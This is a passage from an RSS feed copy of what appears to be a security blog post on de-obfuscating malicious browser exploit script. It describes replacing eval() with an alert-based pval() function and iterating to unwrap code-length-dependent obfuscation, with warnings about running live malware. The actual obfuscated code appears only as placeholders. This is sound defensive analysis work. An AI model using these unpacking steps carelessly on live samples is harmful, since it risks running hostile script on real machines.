size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; COLOR: blue; FONT-FAMILY: 'Courier New'"&gt;23&amp;nbsp; &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;&amp;lt;/script&amp;gt;&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;&amp;nbsp;&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;The first thing you'll notice is&amp;nbsp;&lt;A title="http://blogs.msdn.com/dross/archive/2006/09/28/776208.aspx&amp;#10;Code Length Dependent Obfuscation" href="http://blogs.msdn.com/dross/archive/2006/09/28/776208.aspx" mce_href="http://blogs.msdn.com/dross/archive/2006/09/28/776208.aspx"&gt;code length dependent obfuscation&lt;/A&gt; – observe the use of&amp;nbsp;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;arguments.callee.toString()&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;.&amp;nbsp; You can use the trick I described in my previous blog entry to deal with this.&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;&amp;nbsp;&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;But what you can’t really see from the script above is that when you &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;alert()&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt; instead of &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;eval()&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;, the string you get is:&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;&amp;nbsp;&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;N('[obfuscated goo &lt;STRONG&gt;v2&lt;/STRONG&gt;]')&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;&amp;nbsp;&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;So it would seem that &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;eval()&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt; is necessary in order to execute N() again to continue the de-obfuscation.&amp;nbsp; However, when analyzing any exploit you want to stay away from &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;eval()&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt; at all costs to avoid inadvertently executing exploit script that hasn’t been analyzed yet.&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;&amp;nbsp;&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;So to de-obfuscate this, &lt;B&gt;&lt;SPAN style="FONT-WEIGHT: bold"&gt;carefully&lt;/SPAN&gt;&lt;/B&gt; perform the steps below.&lt;FONT color=blue&gt;&lt;SPAN style="COLOR: blue"&gt;&amp;nbsp; &lt;BR&gt;&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT color=red&gt;&lt;SPAN style="COLOR: red"&gt;Warning: Executing malicious script without properly neutering it is dangerous.&amp;nbsp; Proceed with caution!&amp;nbsp; Be sure to read the safety guidance&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT color=blue&gt;&lt;SPAN style="COLOR: blue"&gt; &lt;A title="http://dr00.sts.winisp.net/VulnAnalysisPaper/Vulnerability%20Analysis%20Paper/Analyzing%20Browser%20Based%20Vulnerability%20Exploitation%20Incidents.htm&amp;#10;blocked::http://dr00.sts.winisp.net/VulnAnalysisPaper/Vulnerability Analysis Paper/Analyzing Browser Based Vulnerability Exploitation Incidents.htm" href="http://dr00.sts.winisp.net/VulnAnalysisPaper/Vulnerability%20Analysis%20Paper/Analyzing%20Browser%20Based%20Vulnerability%20Exploitation%20Incidents.htm"&gt;&lt;FONT title=http://dr00.sts.winisp.net/VulnAnalysisPaper/Vulnerability%20Analysis%20Paper/Analyzing%20Browser%20Based%20Vulnerability%20Exploitation%20Incidents.htm color=purple&gt;&lt;SPAN title=http://dr00.sts.winisp.net/VulnAnalysisPaper/Vulnerability%20Analysis%20Paper/Analyzing%20Browser%20Based%20Vulnerability%20Exploitation%20Incidents.htm style="COLOR: purple"&gt;here&lt;/SPAN&gt;&lt;/FONT&gt;&lt;/A&gt;.&lt;BR&gt;&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;OL style="MARGIN-TOP: 0in" type=1&gt;
&lt;LI class=MsoNormal style="mso-list: l0 level1 lfo1"&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;Copy the malicious script to a standalone HTML document.&lt;/SPAN&gt;&lt;/FONT&gt; &lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;&lt;?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/FONT&gt;
&lt;LI class=MsoNormal style="mso-list: l0 level1 lfo1"&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;Replace all instances of&lt;FONT color=blue&gt;&lt;SPAN style="COLOR: blue"&gt; &lt;/SPAN&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;eval()&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt; with &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;pval()&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;, making sure that the obfuscated script block itself doesn’t implement &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;pval()&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;.&lt;FONT color=blue&gt;&lt;SPAN style="COLOR: blue"&gt;&amp;nbsp; &lt;/SPAN&gt;&lt;/FONT&gt;There is one instance of &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;eval()&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt; on line 18 of the example above.&lt;/SPAN&gt;&lt;/FONT&gt; &lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/FONT&gt;
&lt;LI class=MsoNormal style="mso-list: l0 level1 lfo1"&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;Make sure there are no other extraneous &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;document.write()&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt; calls, &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;eval()&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt; calls, or anything else that appears to run script or inject script into the DOM.&lt;/SPAN&gt;&lt;/FONT&gt; &lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/FONT&gt;
&lt;LI class=MsoNormal style="mso-list: l0 level1 lfo1"&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;Drop the definition of &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;pval()&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt; at the top of the file:&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;&lt;BR&gt;&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN lang=EN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;&amp;lt;script&amp;gt;&lt;BR&gt;function pval(e) { alert(e); }&lt;BR&gt;&amp;lt;/script&amp;gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;SPAN lang=EN&gt; &lt;BR&gt;&lt;/SPAN&gt;&lt;BR&gt;
&lt;LI class=MsoNormal style="mso-list: l0 level1 lfo1"&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;Run through the HTML and copy the &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;N('[obfuscated goo &lt;STRONG&gt;v2&lt;/STRONG&gt;]')&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt; from the &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;alert()&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;.&lt;FONT color=blue&gt;&lt;SPAN style="COLOR: blue"&gt;&amp;nbsp; &lt;/SPAN&gt;&lt;/FONT&gt;Press Ctrl-C to copy the contents of the alert dialog to the clipboard.&lt;/SPAN&gt;&lt;/FONT&gt; &lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/FONT&gt;
&lt;LI class=MsoNormal style="mso-list: l0 level1 lfo1"&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;Paste &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;N('[obfuscated goo &lt;STRONG&gt;v2&lt;/STRONG&gt;]')&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt; over &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;N('[obfuscated goo &lt;STRONG&gt;v1&lt;/STRONG&gt;]')&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;&amp;nbsp; on line 22 above.&lt;/SPAN&gt;&lt;/FONT&gt; &lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/FONT&gt;
&lt;LI class=MsoNormal style="mso-list: l0 level1 lfo1"&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;Go back to step 5 and continue as necessary until the ultimate de-obfuscated script is shown in the &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;alert()&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;.&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/FONT&gt; &lt;/LI&gt;&lt;/OL&gt;
&lt;P class=MsoNormal style="mso-list: l0 level1 lfo1"&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;So far I’ve only seen recursion one-level deep so I don’t yet have a need for a more sophisticated solution.&amp;nbsp; If things get out of hand and I start to see multi-pass obfuscation I’ll post a more elegant technique.&lt;/SPAN&gt;&lt;/FONT&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=794426" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/dross/archive/tags/Computer+Security/default.aspx">Computer Security</category><category domain="http://blogs.msdn.com/dross/archive/tags/Internet+Explorer/default.aspx">Internet Explorer</category><category domain="http://blogs.msdn.com/dross/archive/tags/De-obfuscation/default.aspx">De-obfuscation</category></item></channel></rss>